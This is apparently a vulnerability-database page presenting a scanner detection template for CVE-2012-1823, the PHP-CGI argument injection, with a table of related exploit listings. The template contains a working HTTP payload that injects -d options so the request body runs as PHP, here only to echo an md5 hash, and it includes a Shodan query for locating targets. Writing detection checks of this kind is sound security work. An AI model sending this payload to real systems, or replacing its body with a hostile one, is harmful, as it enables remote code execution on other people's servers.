| Reporter | Title | Published | Views | Family All 306 |
|---|---|---|---|---|
| PHP CGI Argument Injection | 5 May 201200:00 | – | zdt | |
| PHP CGI Argument Injection Exploit | 5 May 201200:00 | – | zdt | |
| PHP CGI Argument Injection Remote Exploit (PHP Version) | 20 May 201200:00 | – | zdt | |
| Plesk Apache Zeroday Remote Exploit | 6 Jun 201300:00 | – | zdt | |
| Apache Magicka Remote Code Execution Vulnerability | 31 Oct 201300:00 | – | zdt | |
| Exploit for OS Command Injection in Php | 8 Jun 202406:36 | – | githubexploit | |
| Exploit for OS Command Injection in Php | 11 Jun 202415:11 | – | githubexploit | |
| Exploit for OS Command Injection in Php | 12 Jun 202411:50 | – | githubexploit | |
| Exploit for OS Command Injection in Php | 30 Dec 202517:49 | – | githubexploit | |
| Exploit for Command Injection in Php | 1 Oct 201713:47 | – | githubexploit |
id: CVE-2012-1823
info:
name: PHP CGI v5.3.12/5.4.2 Remote Code Execution
author: pikpikcu
severity: high
description: |
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.
impact: |
Remote code execution
remediation: |
Upgrade to a patched version of PHP or apply the necessary security patches.
reference:
- https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823
- https://nvd.nist.gov/vuln/detail/CVE-2012-1823
- https://bugs.php.net/bug.php?id=61910
- http://www.php.net/ChangeLog-5.php#5.4.2
- http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03360041
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
cvss-score: 7.5
cve-id: CVE-2012-1823
cwe-id: CWE-20
epss-score: 0.99998
epss-percentile: 0.99989
cpe: cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: php
product: php
shodan-query: cpe:"cpe:2.3:a:php:php"
tags: cve,cve2012,kev,vulhub,rce,php,vkev,vuln
variables:
string: "CVE-2012-1823"
http:
- raw:
- |
POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
<?php echo md5("{{string}}");?>
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{{md5(string)}}'
# digest: 490a00463044022003da59f9364aad5e46bc917e8fb250179dfcae1f4ed779bc99c7ddaddaef1164022000e26237703d7a11602c48667ecaf132c14f38707302df9c567d7a9a0611955f:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation